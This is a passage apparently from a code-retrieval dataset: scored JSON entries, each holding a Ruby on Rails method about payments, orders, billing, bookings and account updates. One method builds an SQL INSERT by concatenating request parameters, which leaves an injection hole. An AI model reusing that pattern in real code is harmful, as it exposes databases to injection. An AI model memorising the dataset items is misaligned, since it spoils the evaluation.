"text": "def update!\n update_totals\n update_payment_state\n\n # give each of the shipments a chance to update themselves\n shipments.each { |shipment| shipment.update!(self) }#(&:update!)\n update_shipment_state\n update_adjustments\n # update totals a second time in case updated adjustments have an effect on the total\n update_totals\n\n update_attributes_without_callbacks({\n :payment_state => payment_state,\n :shipment_state => shipment_state,\n :item_total => item_total,\n :adjustment_total => adjustment_total,\n :payment_total => payment_total,\n :total => total\n })\n\n #ensure checkout payment always matches order total\n if payment and payment.checkout? and payment.amount != total\n payment.update_attributes_without_callbacks(:amount => total)\n end\n\n update_hooks.each { |hook| self.send hook }\n end",
"title": ""
},
{
"docid": "76132c7ee4258f559560cc61c2ca3696",
"score": "0.546053",
"text": "def update()\n h = Simplify::PaymentsApi.execute(\"invoice\", 'update', self, self.authentication)\n self.merge!(h)\n self\n end",
"title": ""
},
{
"docid": "00e2499af9f820f74986b5795f059747",
"score": "0.54545194",
"text": "def update\n get_data\n @adjustment_detail = @adjustment.details.find(params[:id])\n @adjustment_detail.update_attributes(params[:adjustment_detail])\n get_data\n end",
"title": ""
},
{
"docid": "713a66ab909ae2ea2ebe55c7d426777e",
"score": "0.54535574",
"text": "def update_service_information\n alter_svc_info if @service_payment_era_attributes['service_product_qualifier'] == 'NU'\n @service_payment_era = ServicePaymentEra.create!(@service_payment_era_attributes)\n @service_payment_era_attributes = ServicePaymentEra.new(:insurance_payment_era_id => @insurance_payment_era.id).attributes\n update_service_adjustments\n end",
"title": ""
},
{
"docid": "24a35a6855984e0b502987e22d43f88b",
"score": "0.5441359",
"text": "def update_bill_payment_details\n if self.bill && self.bill.tne_invoice.present?\n tne_invoice=self.bill.tne_invoice\n tne_invoice.final_invoice_amt=tne_invoice.final_invoice_amt - self.bill_amount_paid\n tne_invoice.send(:update_without_callbacks)\n end\n end",
"title": ""
},
{
"docid": "4a6d7823469c62dce55b4681c65718e5",
"score": "0.5437387",
"text": "def create\n # byebug\n #@investment_declarations = InvestmentDeclaration.all\n\n @policy_detail = PolicyDetail.new(policy_detail_params)\n @policy_detail.save\n \n @investment_declarations = InvestmentDeclaration.find_by(id: @policy_detail.investment_declaration_id)\n @policy_details = PolicyDetail.where(investment_declaration_id: @investment_declarations)\n\n actual_annual_amount_sum = 0\n \n @policy_details.each do |pd|\n amount_p = pd.actual_annual_amount\n actual_annual_amount_sum = actual_annual_amount_sum.to_f + amount_p\n end\n @investment_declarations.update(actual_amt: actual_annual_amount_sum)\n \n @investment_declarations.update(accepted_amt: actual_annual_amount_sum)\n\n\n redirect_to show_employee_declaration_investment_declarations_path\n \n end",
"title": ""
},
{
"docid": "478d9eea32e227f23a408c365a4e10f0",
"score": "0.543632",
"text": "def bulk_payments_and_disbursals\n @center = Center.get(params[:center_id]) || Center.first(:name => params[:center_id]) \n @branch = @center.branch unless @center.nil?\n @clients = @center.clients(:fields => [:id, :name, :center_id, :client_group_id]) unless @center.nil?\n @date = Date.parse(params[:for_date]) unless params[:for_date].nil?\n @staff = StaffMember.get(params[:payment][:received_by])\n @errors = []\n if params[:paid][:loan]\n params[:paid][:loan].keys.each do |k|\n @loan = Loan.get(k.to_i)\n @loan.history_disabled = true\n amounts = params[:paid][:loan][k.to_sym].to_i\n if params.key?(:payment_type) and params[:payment_type] == \"fees\"\n @loan.pay_fees(amounts, @date, @staff, session.user)\n next\n end\n @type = params[:payment][:type]\n style = params[:payment_style][k.to_sym].to_sym\n next if amounts<=0 \n success, @prin, @int, @fees = @loan.repay(amounts, session.user, @date, @staff, false, style)\n if success\n @loan.history_disabled = false\n @loan.update_history\n end\n @errors << @prin.errors if (@prin and not @prin.errors.blank?)\n @errors << @int.errors if (@int and not @int.errors.blank? )\n @errors << @fees.errors if (@fees and not @fees.errors.blank?)\n end\n end\n if params[:paid][:client]\n params[:paid][:client].keys.each do |k|\n client = Client.get(k)\n x = client.pay_fees(params[:paid][:client][k.to_sym].to_i, @date, @staff, session.user)\n @errors << x unless x === true\n end\n end\n if params[:disbursed]\n params[:disbursed].each do |k,v|\n next if v != \"on\"\n @loan = Loan.get(k.to_i)\n @loan.disbursal_date = @date\n @loan.disbursed_by = @staff\n @errors << @loan.errors if not @loan.save\n end\n end\n end",
"title": ""
},
{
"docid": "f7bcebda932650a9dfa28ed1a8c799ad",
"score": "0.54352456",
"text": "def update_amount_payable\n base_amount = BigDecimal('0') \n tax_amount = BigDecimal('0')\n \n delivery.delivery_entries.each do |de|\n if de.sales_item.is_pending_pricing \n self.amount_payable = BigDecimal('0')\n self.base_amount_payable = BigDecimal('0')\n self.tax_amount_payable = BigDecimal('0')\n self.save \n return \n end\n \n \n base_amount += de.total_delivery_entry_price\n tax_amount += de.tax_amount\n end\n \n # with the tax \n self.base_amount_payable = base_amount\n self.tax_amount_payable = tax_amount \n self.amount_payable = self.base_amount_payable + self.tax_amount_payable\n self.save \n end",
"title": ""
},
{
"docid": "fa69e14fc76fe80e51efe2cb11cd1b5c",
"score": "0.54316795",
"text": "def update_payment\n\n @json_response = []\n @errors = []\n\n #Find location\n location = Location.find(params[:location_id])\n\n payment = Payment.find(params[:payment_id])\n\n\n #Find or create a client (update if necessary)\n if params[:set_client] == \"1\"\n\n client = Client.new\n\n if params[:client_id] && !params[:client_id].blank?\n client = Client.find(params[:client_id])\n end\n\n first_name = \"\"\n last_name = \"\"\n client_name = params[:client_name]\n\n if params[:client_first_name].blank? || params[:client_last_name].blank?\n full_name = split_name(client_name)\n first_name = full_name[:first_name]\n last_name = full_name[:last_name]\n if last_name.blank?\n last_name = \"\"\n end\n else\n first_name = params[:client_first_name]\n last_name = params[:client_last_name]\n end\n\n client_email = \"\"\n if !params[:client_email].blank?\n client_email = params[:client_email]\n end\n\n client.first_name = first_name\n client.last_name = last_name\n client.email = client_email\n client.phone = params[:client_phone]\n client.gender = params[:client_gender]\n client.company_id = location.company_id\n\n if client.save\n payment.client_id = client.id\n else\n @errors << \"No se pudo guardar al cliente.\"\n @errors << client.errors\n @json_response[0] = \"error\"\n @json_response << @errors\n render :json => @json_response\n return\n end\n\n else\n if params[:client_id].present?\n client = Client.find(params[:client_id])\n else\n payment.client_id = nil\n end\n end\n\n if params[:employee_code_id].present?\n payment.employee_code_id = params[:employee_code_id]\n else\n if !current_user.company.company_setting.require_cashier_code\n payment.employee_code_id = nil\n else\n @errors << \"No se pudo guardar el pago sin cajero.\"\n @json_response[0] = \"error\"\n @json_response << @errors\n render :json => @json_response\n return\n end\n end\n\n payment.payed = true\n payment.payment_date = params[:payment_date].to_datetime\n\n #payment.notes = params[:payment_notes]\n payment.notes = \"\"\n payment.location_id = params[:location_id]\n\n payment.paid_amount = params[:paid_amount]\n payment.amount = params[:cost]\n payment.change_amount = params[:change_amount]\n #For real amount, discount and change, recalculate costs.\n\n past_bookings = JSON.parse(params[:past_bookings], symbolize_names: true)\n new_bookings = JSON.parse(params[:new_bookings], symbolize_names: true)\n products = JSON.parse(params[:products], symbolize_names: true)\n receipts = JSON.parse(params[:receipts], symbolize_names: true)\n transactions = JSON.parse(params[:transactions], symbolize_names: true)\n\n @mockBookings = []\n @bookings = []\n @paymentProducts = []\n\n #\n # UPDATE\n #\n # Receipts should be deleted and reconstructed.\n # PaymentProducts should be deleted and reconstructed.\n # MockBookings should be deleted and reconstructed.\n # Booking should be disasociated from payment and then reassociated with new params.\n #\n\n\n payment.mock_bookings.each do |mock_booking|\n mock_booking.delete\n end\n\n payment.payment_products.each do |payment_product|\n\n location_product = LocationProduct.where(:location_id => payment.location_id, :product_id => payment_product.product_id).first\n if location_product.nil?\n @errors << \"No existe el producto para el local.\"\n else\n location_product.stock = location_product.stock + payment_product.quantity\n location_product.save\n ProductLog.where(payment_product_id: payment_product.id).delete_all\n end\n\n payment_product.delete\n end\n\n old_bookings = payment.bookings\n\n old_bookings.each do |booking|\n booking.receipt_id = nil\n booking.payment_id = nil\n if booking.payed_booking_id.nil?\n booking.payed_state = false\n end\n booking.save\n end\n\n payment.receipts.each do |receipt|\n receipt.delete\n end\n\n payment.payment_transactions.each do |transaction|\n transaction.delete\n end\n\n\n #\n # Deletes and disassociations done.\n # Now reconstruct\n #\n\n check_method_id = PaymentMethod.find_by_name(\"Cheque\").id\n cash_method_id = PaymentMethod.find_by_name(\"Efectivo\").id\n credit_card_method_id = PaymentMethod.find_by_name(\"Tarjeta de Crédito\").id\n debt_card_method_id = PaymentMethod.find_by_name(\"Tarjeta de Débito\").id\n other_method_id = PaymentMethod.find_by_name(\"Otro\").id\n\n transactions.each do |transaction|\n new_transaction = PaymentTransaction.new\n if transaction[:payment_method_type] == \"0\"\n\n new_transaction.payment_method_id = transaction[:payment_method_id]\n if new_transaction.payment_method_id == credit_card_method_id\n new_transaction.payment_method_type_id = transaction[:payment_method_type_id]\n new_transaction.installments = transaction[:installments]\n elsif new_transaction.payment_method_id == check_method_id\n new_transaction.bank_id = transaction[:bank_id]\n end\n\n if new_transaction.payment_method_id != cash_method_id\n if PaymentMethodSetting.where(:company_setting_id => current_user.company.company_setting.id, :payment_method_id => new_transaction.payment_method_id).count > 0\n method_setting = PaymentMethodSetting.where(:company_setting_id => current_user.company.company_setting.id, :payment_method_id => new_transaction.payment_method_id).first\n if method_setting.active\n if method_setting.number_required\n if !transaction[:method_number].blank?\n new_transaction.number = transaction[:method_number]\n else\n @errors << \"El número de comprobante no puede estar vacío.\"\n end\n else\n\n end\n else\n @errors << \"El tipo de pago no está activo.\"\n end\n end\n end\n\n else\n new_transaction.company_payment_method_id = transaction[:payment_method_id]\n company_method = CompanyPaymentMethod.find(transaction[:payment_method_id])\n if !company_method.nil?\n if company_method.number_required\n if !transaction[:method_number].blank?\n new_transaction.number = transaction[:method_number]\n else\n @errors << \"El número de comprobante no puede estar vacío.\"\n end\n end\n else\n @errors << \"No existe el medio de pago.\"\n end\n end\n\n new_transaction.amount = transaction[:amount].to_f\n new_transaction.payment = payment\n\n if @errors.length == 0\n unless new_transaction.save\n @errors << new_transaction.errors\n end\n end\n\n end\n\n non_discount_total = 0.0\n discount_total = 0.0\n\n receipts.each do |receipt|\n new_receipt = Receipt.new\n new_receipt.receipt_type_id = receipt[:receipt_type_id]\n new_receipt.amount = receipt[:amount]\n new_receipt.date = receipt[:date]\n new_receipt.notes = receipt[:notes]\n new_receipt.number = receipt[:number]\n\n receipt_items = receipt[:items]\n\n #Check for it's items and add them to their corresponding array\n receipt_items.each do |item|\n if item[:item_type] == \"new_booking\"\n\n new_booking = item\n mock_booking = MockBooking.new\n if new_booking[:service_id] != -1 && new_booking[:service_id] != \"-1\"\n mock_booking.service_id = new_booking[:service_id]\n end\n if new_booking[:provider_id] != -1 && new_booking[:provider_id] != \"-1\"\n mock_booking.service_provider_id = new_booking[:provider_id]\n end\n mock_booking.list_price = new_booking[:price].to_f\n mock_booking.discount = new_booking[:discount].to_f\n mock_booking.price = (mock_booking.list_price * (100 - mock_booking.discount) / 100).round(1)\n\n non_discount_total += mock_booking.list_price\n discount_total += mock_booking.price\n\n mock_booking.client_id = payment.client_id\n @mockBookings << mock_booking\n\n new_receipt.mock_bookings << mock_booking\n\n elsif item[:item_type] == \"past_booking\"\n past_booking = item\n booking = Booking.find(past_booking[:id])\n #booking.list_price = past_booking[:]\n booking.discount = past_booking[:discount]\n booking.list_price = past_booking[:list_price].to_f\n booking.price = (past_booking[:list_price].to_f*(100-booking.discount)/100).round(1)\n booking.payed_state = true\n\n non_discount_total += past_booking[:list_price]\n discount_total += booking.price\n\n if client.present? && client.id.present?\n booking.client_id = client.id\n end\n\n @bookings << booking\n booking.payment = payment\n new_receipt.bookings << booking\n else\n product = item\n payment_product = PaymentProduct.new\n payment_product.product_id = product[:id]\n\n payment_product.list_price = product[:price]\n payment_product.discount = product[:discount]\n payment_product.price = (payment_product.list_price * (100 - payment_product.discount) / 100).round(1)\n payment_product.quantity = product[:quantity]\n\n non_discount_total += payment_product.list_price * payment_product.quantity\n discount_total +=payment_product.price * payment_product.quantity\n\n seller = product[:seller].split(\"_\")\n payment_product.seller_id = seller[0]\n payment_product.seller_type = seller[1]\n\n location_product = LocationProduct.where(:location_id => payment.location_id, :product_id => payment_product.product_id).first\n if location_product.nil?\n @errors << \"No existe el producto para el local.\"\n else\n location_product.stock = location_product.stock - payment_product.quantity\n location_product.save\n product_log = ProductLog.new(product_id: location_product.product.id, location_id: location_product.location.id, service_provider_id: nil, user_id: nil, client_id: payment.client_id, change: \"Decremento de \" + (location_product.stock + payment_product.quantity).to_s + \" a \" + location_product.stock.to_s, cause: \"Venta a cliente.\")\n product_log.payment_product = payment_product\n product_log.save\n end\n\n new_receipt.payment_products << payment_product\n\n @paymentProducts << payment_product\n end\n end\n\n new_receipt.payment = payment\n\n unless new_receipt.save\n @errors << new_receipt.errors\n end\n\n end\n\n payment.amount = discount_total\n payment.discount = ((1 - (discount_total/non_discount_total)) * 100).round(1)\n\n payment.bookings = @bookings\n payment.mock_bookings = @mockBookings\n payment.payment_products = @paymentProducts\n\n if @errors.length == 0\n if payment.save\n @json_response[0] = \"ok\"\n else\n @json_response[0] = \"error\"\n @errors << payment.errors\n end\n else\n @json_response[0] = \"error\"\n end\n\n if @json_response[0] == \"ok\"\n @json_response << payment\n @json_response[2] = []\n payment.receipts.each do |receipt|\n receipt_detail = []\n receipt_detail << receipt.id\n receipt_detail << receipt.receipt_type.name\n receipt_detail << receipt.number\n @json_response[2] << receipt_detail\n end\n else\n @json_response << @errors\n end\n\n render :json => @json_response\n\n end",
"title": ""
},
{
"docid": "b5b1dd5cc6f5d04bca87d17250eae255",
"score": "0.542391",
"text": "def update\n session[:referrer]=\"/users/edit\"\n @plans = PricingPlan.all\n @languages = Language.get_all_languages\n params[:user][:from_number] = params[:user][:from_number].blank? ? ENV[\"CALL_NUM\"].gsub(\"+\",\"\") : params[:user][:from_number]\n params[:user][:redirect_url] = params[:user][:redirect_url].blank? ? ENV[\"DEFAULT_REDIRECT_URL\"] : params[:user][:redirect_url]\n client_setting = current_user.client_setting\n @selected_languages = client_setting ? client_setting.languages : []\n user_status_business_id_share_info\n unless request.format.json?\n result, prev_unconfirmed_email = valid_email_and_confirmed_mail(params,current_user)\n update_and_redirect(result, prev_unconfirmed_email)\n else\n update_user_json\n end\n end",
"title": ""
},
{
"docid": "966e78883bfc50ca83c1359e424f6d8e",
"score": "0.5413909",
"text": "def update\n consumptions = PackagesClinic.all;\n\n consumptions.each do |c|\n c.week += 1;\n c.appointment_token = c.package.n_evaluations;\n c.save;\n end\n\n flash[:notice] = \"Consumos semanais atualizados.\";\n\n respond_to do |format|\n format.html { redirect_to payments_url }\n format.json { render json: @payment }\n end\n end",
"title": ""
},
{
"docid": "8c26afd45cc993d771cd6fc46122182b",
"score": "0.541088",
"text": "def perform(params)\n contract_addresses = ClientWhitelistDetail.get_active_contract_addressess\n Request::OpsApi::UpdateSubscription.new.perform({contract_addresses: contract_addresses})\n end",
"title": ""
},
{
"docid": "dc6e654d2e93ff86f498fce58e17f598",
"score": "0.54108465",
"text": "def update\n begin\n # get all accounts to display back to user.\n @plaid_accounts = PlaidRails::Account.where(owner_type: link_params[:owner_type],\n owner_id: link_params[:owner_id])\n \n flash[:success]=\"You have successfully updated your account(s)\"\n rescue => e\n Rails.logger.error \"Error: #{e}\"\n render json: e.message, status: 500\n end\n end",
"title": ""
},
{
"docid": "0ed60a803ca1de32d92666d25293225b",
"score": "0.54107535",
"text": "def linkbuilding_reallocate_equally()\n parameters = {}\n exec_post(parameters, 'post', \"#{@base_path}/api/v2/customers/linkbuilding/reallocate_equally.json?api_key=#{@api_key}\")\n end",
"title": ""
},
{
"docid": "ece74f6a384ae0ae044f9925f04269a5",
"score": "0.5410256",
"text": "def update\n\n\n respond_to do |format|\n if @booking_detail.update(booking_detail_params)\n\n @booking_detail.update(:final_sale_deed=> BookingDetail.get_all_charges(@booking_detail) )\n\n format.html { redirect_to @booking_detail, notice: 'Booking detail was successfully Saved.' }\n format.json { render :show, status: :ok, location: @booking_detail }\n else\n format.html { render :edit }\n format.json { render json: @booking_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4cf669fa97fffea419291edcd06a01e",
"score": "0.5409853",
"text": "def update_bill_and_ship_address_details\n\n firstname = self.addresses.first.firstname\n lastname = self.addresses.first.lastname\n ship_address_id = self.addresses.first.id #first entered address details are of shipping details.\n bill_address_id = self.addresses.last.id #second entered address details are of billing details.\n self.update_attributes(first_name: firstname, last_name: lastname,\n bill_address_id: bill_address_id, ship_address_id: ship_address_id)\n end",
"title": ""
},
{
"docid": "4dc487ad7c8267adc431ed09788263fc",
"score": "0.540886",
"text": "def apply\n assign_order_attributes\n assign_payments_attributes\n\n order.save\n end",
"title": ""
},
{
"docid": "097e75e99ba39eca7ab7f718d8a0c634",
"score": "0.5406648",
"text": "def update\n\n scan_procedure_array = []\n scan_procedure_array = (current_user.edit_low_scan_procedure_array).split(' ').map(&:to_i)\n\n @lumbarpuncture = Lumbarpuncture.where(\"lumbarpunctures.appointment_id in (select appointments.id from appointments,scan_procedures_vgroups where \n appointments.vgroup_id = scan_procedures_vgroups.vgroup_id \n and scan_procedure_id in (?))\", scan_procedure_array).find(params[:id])\n\n appointment_date = nil\n if !params[:appointment][\"#{'appointment_date'}(1i)\"].blank? && !params[:appointment][\"#{'appointment_date'}(2i)\"].blank? && !params[:appointment][\"#{'appointment_date'}(3i)\"].blank?\n appointment_date = params[:appointment][\"#{'appointment_date'}(1i)\"] +\"-\"+params[:appointment][\"#{'appointment_date'}(2i)\"].rjust(2,\"0\")+\"-\"+params[:appointment][\"#{'appointment_date'}(3i)\"].rjust(2,\"0\")\n end\n\n # ok to update vitals even if other update fail\n if !params[:vital_id].blank?\n @vital = Vital.find(params[:vital_id])\n @vital.pulse = params[:pulse]\n @vital.bp_systol = params[:bp_systol]\n @vital.bp_diastol = params[:bp_diastol]\n @vital.bloodglucose = params[:bloodglucose]\n @vital.save\n else\n @vital = Vital.new\n @vital.appointment_id = @lumbarpuncture.appointment_id\n @vital.pulse = params[:pulse]\n @vital.bp_systol = params[:bp_systol]\n @vital.bp_diastol = params[:bp_diastol]\n @vital.bloodglucose = params[:bloodglucose]\n @vital.save \n end\n \n if !params[:lookup_lumbarpuncture_id].blank?\n LookupLumbarpuncture.all.each do |lookup_lp|\n val = nil\n val = params[:lookup_lumbarpuncture_id][lookup_lp.id.to_s].to_s\n if val.blank?\n val = \"0\" # not sure why \"\" not going to 0\n end\n sql = \"INSERT INTO lumbarpuncture_results (lumbarpuncture_id,lookup_lumbarpuncture_id,value) VALUES (\"[email protected]_s+\",\"+lookup_lp.id.to_s+\",'\"+val+\"')\n ON DUPLICATE KEY UPDATE value='\"+val+\"' \"\n ActiveRecord::Base.connection.insert_sql sql\n \n # insert or update?\n end\n else\n # update to null or delete?\n end\n\n respond_to do |format|\n if @lumbarpuncture.update_attributes(params[:lumbarpuncture])\n @appointment = Appointment.find(@lumbarpuncture.appointment_id)\n @vgroup = Vgroup.find(@appointment.vgroup_id)\n @appointment.comment = params[:appointment][:comment]\n if !params[:appointment].nil? and !params[:appointment][:appointment_coordinator].nil?\n @appointment.appointment_coordinator = params[:appointment][:appointment_coordinator]\n end\n @appointment.appointment_date =appointment_date\n if [email protected]_id.blank?\n @participant = Participant.find(@vgroup.participant_id)\n if [email protected]?\n @appointment.age_at_appointment = ((@appointment.appointment_date - @participant.dob)/365.25).floor\n end\n end\n @appointment.save\n @vgroup.completedlumbarpuncture = params[:vgroup][:completedlumbarpuncture]\n @vgroup.save\n \n \n\n format.html { redirect_to(@lumbarpuncture, :notice => 'Lumbarpuncture was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lumbarpuncture.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b15dac255a4fc5113029edecdc345f1",
"score": "0.5406361",
"text": "def set_apartment_payment\n @apartment_payment = ApartmentPayment.find(params[:id])\n end",
"title": ""
},
{
"docid": "dd40101f88f4f7ab0af85d5d4342c82f",
"score": "0.5402571",
"text": "def update\n @payment_types = PaymentType.find(params[:payment_type_id])\n @user = User.find(session[:user_id])\n @order = Order.find_by(customer_id: @user.id, payment_type_id: nil)\n # setting pmt type id\n @order.payment_type_id = @payment_types.id\n @order.save\n redirect_to '/complete_order'\n end",
"title": ""
},
{
"docid": "2cafed1ab97712c99deb07f2cace6a35",
"score": "0.5402376",
"text": "def update_params_payment_source\n if @updating_params[:payment_source].present?\n source_params = @updating_params.\n delete(:payment_source)[@updating_params[:order][:payments_attributes].\n first[:payment_method_id].to_s]\n\n if source_params\n @updating_params[:order][:payments_attributes].first[:source_attributes] = source_params\n end\n end\n\n if @updating_params[:order] && (@updating_params[:order][:payments_attributes] ||\n @updating_params[:order][:existing_payment_source])\n @updating_params[:order][:payments_attributes] ||= [{}]\n @updating_params[:order][:payments_attributes].first[:amount] = order_total_after_store_credit\n end\n end",
"title": ""
},
{
"docid": "b9121c11a14f02c4d5e6413a398f2dcf",
"score": "0.53966093",
"text": "def update_claim_information\n @insurance_payment_era.update_attributes!(@insurance_payment_era_attributes)\n @insurance_payment_era = InsurancePaymentEra.create!(:era_check_id => @era_check.id, :lx_number => @claim_header_number)\n @insurance_payment_era_attributes = @insurance_payment_era.attributes\n update_claim_adjustments\n end",
"title": ""
},
{
"docid": "9e4540352ad48670836560ab172ae648",
"score": "0.53956",
"text": "def update_adjustments\n # Promotion adjustments must be applied first, then tax adjustments.\n # This fits the criteria for VAT tax as outlined here:\n # http://www.hmrc.gov.uk/vat/managing/charging/discounts-etc.htm#1\n #\n # It also fits the criteria for sales tax as outlined here:\n # http://www.boe.ca.gov/formspubs/pub113/\n promotion_total = adjustments.promotion.reload.map(&:update!).compact.sum\n unless promotion_total == 0\n choose_best_promotion_adjustment\n end\n promo_total = best_promotion_adjustment.try(:amount).to_f\n item.update_column(:promo_total, promo_total)\n\n tax_total = adjustments.tax.reload.map(&:update!).compact.sum\n\n item.update_columns(\n :tax_total => tax_total,\n :adjustment_total => promo_total + tax_total,\n )\n end",
"title": ""
},
{
"docid": "56a63880e319e3112f091d6478617c02",
"score": "0.53939825",
"text": "def revenue_allocation_split\n if @project.update(update_project_params)\n effective_date = \"#{params[:effective_date][:year]}/#{params[:effective_date][:month]}/#{params[:effective_date][:day]}\"\n\n @project.create_activity :revenue_allocation_split, owner: current_user, parameters: { text: ' set the revenue allocation split', form_data: params[:project][:team_memberships_attributes].to_s}\n update_current_task\n ProjectMailer.rev_allocation_change(@project, current_user, effective_date)\n Booktrope::ParseWrapper.save_revenue_allocation_record_to_parse @project, current_user, DateTime.parse(effective_date)\n\n #TODO: Hellosign-rails integration\n\n flash[:success] = 'Revenue Allocation Split Set'\n redirect_to @project\n else\n flash[:danger] = 'There was an error saving the Revenue Allocation Split, please review.'\n render 'show'\n end\n end",
"title": ""
},
{
"docid": "855dc980684739d112f1ed4b54cb61b2",
"score": "0.5393681",
"text": "def process_payment_data\n @affiliate = current_user.affiliate\n if @affiliate.update_attributes(params[:affiliate])\n flash[:success] = \"Tus datos de cobros fueron actualizados.\"\n redirect_to action: :payment_data\n else\n flash.now[:error] = \"No se pudo actualizar tus datos de cobros.\"\n render action: :edit_payment_data\n end\n end",
"title": ""
},
{
"docid": "0b40e5626a44810eec64e6ac7aaf1773",
"score": "0.53876036",
"text": "def update_balance(s_payment)\n payments = s_payment.bill.payments\n\n payments.each do |payment|\n set_payment(payment,payments)\n end\n end",
"title": ""
},
{
"docid": "8234bf9edc847ed53b39ba102ee3a131",
"score": "0.53839505",
"text": "def update_adjustments\n # Promotion adjustments must be applied first, then tax adjustments.\n # This fits the criteria for VAT tax as outlined here:\n # http://www.hmrc.gov.uk/vat/managing/charging/discounts-etc.htm#1\n #\n # It also fits the criteria for sales tax as outlined here:\n # http://www.boe.ca.gov/formspubs/pub113/\n # \n # Tax adjustments come in not one but *two* exciting flavours:\n # Included & additional\n\n # Included tax adjustments are those which are included in the price.\n # These ones should not effect the eventual total price.\n #\n # Additional tax adjustments are the opposite; effecting the final total. \n promotion_total = adjustments.promotion.reload.map(&:update!).compact.sum\n unless promotion_total == 0\n choose_best_promotion_adjustment\n end\n promo_total = best_promotion_adjustment.try(:amount).to_f\n included_tax_total = adjustments.tax.included.reload.map(&:update!).compact.sum\n additional_tax_total = adjustments.tax.additional.reload.map(&:update!).compact.sum\n\n item.update_columns(\n :promo_total => promo_total,\n :included_tax_total => included_tax_total,\n :additional_tax_total => additional_tax_total,\n :adjustment_total => promo_total + additional_tax_total,\n :updated_at => Time.now,\n )\n end",
"title": ""
},
{
"docid": "9343f3011fca0c56ecf4aba487ba2a13",
"score": "0.5380378",
"text": "def update\n respond_to do |format|\n if @distributor.update!(distributor_params)\n customer = ShopifyAPI::Customer.find(@distributor.shopify_id)\n customer.first_name = params[:distributor][:first_name]\n customer.last_name = params[:distributor][:last_name]\n customer.email = params[:distributor][:email]\n customer.verified_email =params[:distributor][:verified_email]\n ad = params[:distributor][:addresses_attributes].first[1]\n if customer.addresses.present? \n customer.addresses[0].address1 = ad[:address1]\n customer.addresses[0].city = ad[:city]\n customer.addresses[0].province = ad[:province]\n customer.addresses[0].phone= ad[:phone]\n customer.addresses[0].zip= ad[:zip]\n customer.addresses[0].last_name= ad[:last_name]\n customer.addresses[0].first_name= ad[:first_name]\n customer.addresses[0].country= ad[:country] || 'United States'\n else\n # CREATE CUSTOMER ADDRESS\n end\n customer.save \n format.html { redirect_to @distributor, notice: 'Location was successfully updated.' }\n format.json { render :show, status: :ok, location: @distributor }\n else\n format.html { render :edit }\n format.json { render json: @distributor.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e84546f7c0c4e774233141f483ccb9ae",
"score": "0.5379196",
"text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reservation_grants = args[:reservation_grants] if args.key?(:reservation_grants)\n end",
"title": ""
},
{
"docid": "e84546f7c0c4e774233141f483ccb9ae",
"score": "0.5379196",
"text": "def update!(**args)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n @reservation_grants = args[:reservation_grants] if args.key?(:reservation_grants)\n end",
"title": ""
},
{
"docid": "46bbd481ac319acf285b9d4fc0ff8bbd",
"score": "0.5378382",
"text": "def finalize!\n\n # update payment and shipment(s) states, and save\n updater.update_payment_state\n\n\n save!\n updater.run_hooks\n\n touch :completed_at\n\n end",
"title": ""
},
{
"docid": "a4a67f72b2cd397e80d143d1ccd8936d",
"score": "0.53759795",
"text": "def update_balance_bill_details\n # reset total amount to 0\n self.total_amount = 0\n\n #loop through all the detail records,\n self.balance_bill_details.each do |detail|\n #set the created and updated users\n detail.created_user = self.created_user\n detail.updated_user = self.updated_user\n #sum up all the detail amounts to get new total amount\n self.total_amount += detail.amount.to_f if detail.amount? && !detail.status?(:deleted)\n end\n end",
"title": ""
},
{
"docid": "adde2148505786a1d492322f6a892e90",
"score": "0.5375054",
"text": "def update_params_payment_source\n\n if @updating_params[:payment_source].present?\n source_params = @updating_params.\n delete(:payment_source)[@updating_params[:order][:payments_attributes].\n first[:payment_method_id].to_s]\n\n if source_params\n @updating_params[:order][:payments_attributes].first[:source_attributes] = source_params\n end\n end\n\n if @updating_params[:order] && (@updating_params[:order][:payments_attributes] ||\n @updating_params[:order][:existing_card])\n @updating_params[:order][:payments_attributes] ||= [{}]\n # @updating_params[:order][:payments_attributes].first[:amount] = total\n @updating_params[:order][:payments_attributes].first[:amount] = order_total_after_store_credit\n end\n end",
"title": ""
},
{
"docid": "d468b21083e1838751983e5070cd4879",
"score": "0.5370159",
"text": "def processing\n @agent_payment = AgentPayment.find(params[:id])\n contract = @agent_payment.contract\n last_balance = contract.last_balance\n Payment.create! dt: Time.new, cid: @agent_payment.contract.id, pt: 6, uid: @agent_payment.user.id, summa: @agent_payment.value, comment: @agent_payment.text\n Balance.update_all \"summa2=#{(@agent_payment.value + last_balance.summa2)} where yy=#{last_balance.yy} and mm=#{last_balance.mm} and cid=#{last_balance.cid} limit 1\"\n if ![0,4].include?(contract.status) && contract.balance_summa > contract.closesumma\n time = Time.now\n if contract.contract_statuses.where(date1: time.to_date).count > 0\n contract.contract_statuses.where(date1: time.to_date).delete_all\n contract.contract_status_logs.where(date1: time.to_date).delete_all\n end\n if contract.contract_statuses.last.date2.nil?\n contract.contract_statuses.last.update_attributes(date2: time-1.day)\n contract.contract_status_logs.last.update_attributes(date2: time-1.day)\n end\n contract.contract_statuses.create status: 0, comment: 'Разблокировано системой', uid: 0, date1: time\n contract.contract_status_logs.create date1: time, comment: 'Разблокировано системой', uid: 0, status: 0, date: time\n contract.update_attributes(status: 0)\n end\n \n respond_to do |format|\n if @agent_payment.update_attributes(manager_id: current_user.id, managed_at: Time.now)\n format.html { redirect_to @agent_payment, notice: 'Agent payment was successfully updated.' }\n format.json { render json: @agent_payment, root: false }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agent_payment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "478c8070d82efda7f0b1c05d254a83cf",
"score": "0.5366624",
"text": "def set_payment_outstanding\n @payment_outstanding = PaymentOutstanding.find(params[:id])\n end",
"title": ""
},
{
"docid": "f16f735b460d8bad30b25325d2e07287",
"score": "0.53651035",
"text": "def update!(**args)\n @managed_zones = args[:managed_zones] if args.key?(:managed_zones)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end",
"title": ""
}
] |
717152a9065bdf810328ed36515c1e72
|
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.pedido_mailer.recebido.subject
|
[
{
"docid": "6e985b7504cac3eac77dbb102f8bd99f",
"score": "0.0",
